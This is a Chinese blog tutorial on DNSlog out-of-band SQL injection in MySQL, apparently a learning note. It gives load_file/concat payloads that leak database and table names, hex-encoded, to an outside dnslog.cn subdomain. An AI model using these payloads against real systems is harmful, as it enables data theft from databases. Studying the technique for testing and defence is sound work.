前言最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录。DNSlog原理
DNS (Domain Name System) 是互联网的命名系统,负责将域名转化为 IP 地址。在浏览器访问域名时,浏览器会将域名解析成真实的 IP 地址,然后访问对应服务器上的服务。DNSlog 就是 DNS 的日志,记录了域名解析时留下的域名和解析 IP 的记录。
DNSlog外带原理
DNS 在解析域名时会记录日志,我们可以将信息放在高级域名中,传递到自己这里,然后通过读取日志获取信息。所以 DNSlog 外带原理的基本原理就是通过 DNS 请求后,通过读取日志来获取我们的请求信息。
DNSlog注入
在搜索 DNSlog 原理时同时看到了 DNSlog 注入,所以本地测试一块都了解一下。
Load_file函数
注入主要用到了 Load_file 函数,该函数可以读取文件并返回文件内容为字符串。使用该函数有几个前提:
首先要有注入点;
需要有 root 权限;
数据库有读写权限即:secure_file_priv="";
得有请求 URL 权限;
还必须得是 Windows 服务器。
例如,在 D 盘中写了一个 1.txt 文件,可以使用 Load_file 函数读取它的内容:
sql
SELECT load_file('D:/1.txt');
Concat函数
由于在通过 Load_file 外带时是无法执行 SQL 语句的,因此需要使用 concat 函数将执行的 SQL 语句与 DNS 请求的 URL 进行拼接。
例如,以下语句将查询当前数据库名称并外带到指定的请求 URL 中:
sql
SELECT concat('Sentiment','\\',(select database()));
本地测试
通过 DNSlog 外带数据库信息:
sql
SELECT load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));
通过 DNSlog 外带表名:
sql
SELECT load_file(concat('//',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
剩下的就是 SQL 注入常规操作了。
局限性
通过本地测试后,发现了一些问题。在 URL 中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性。
例如,以下语句将使用十六进制编码查询当前数据库中表名并外带到指定的请求 URL 中:
sql
SELECT load_file(concat('//',(select hex(group_concat(table_name separator '_')) from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
如果需要将十六进制转换成字符,可以使用在线工具或者 MySQL 自带的函数进行转换。文章来源:https://www.toymoban.com/news/detail-401906.html
总结
本文详细介绍了 DNSlog 外带原理及注入分析。DNSlog 是 DNS 的日志,记录了域名解析时留下的域名和解析 IP 的记录,通过 DNSlog 外带原理可以利用这些日志获取请求信息。在注入过程中,Load_file 函数读取文件并返回内容字符串,Concat 函数将执行的 SQL 语句与 DNS 请求的 URL 进行拼接。在传递字符时可能遇到局限性,可以通过十六进制编码绕过。文章来源地址https://www.toymoban.com/news/detail-401906.html
到了这里,关于DNSlog外带原理及注入分析,DNSlog外带原理及注入分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!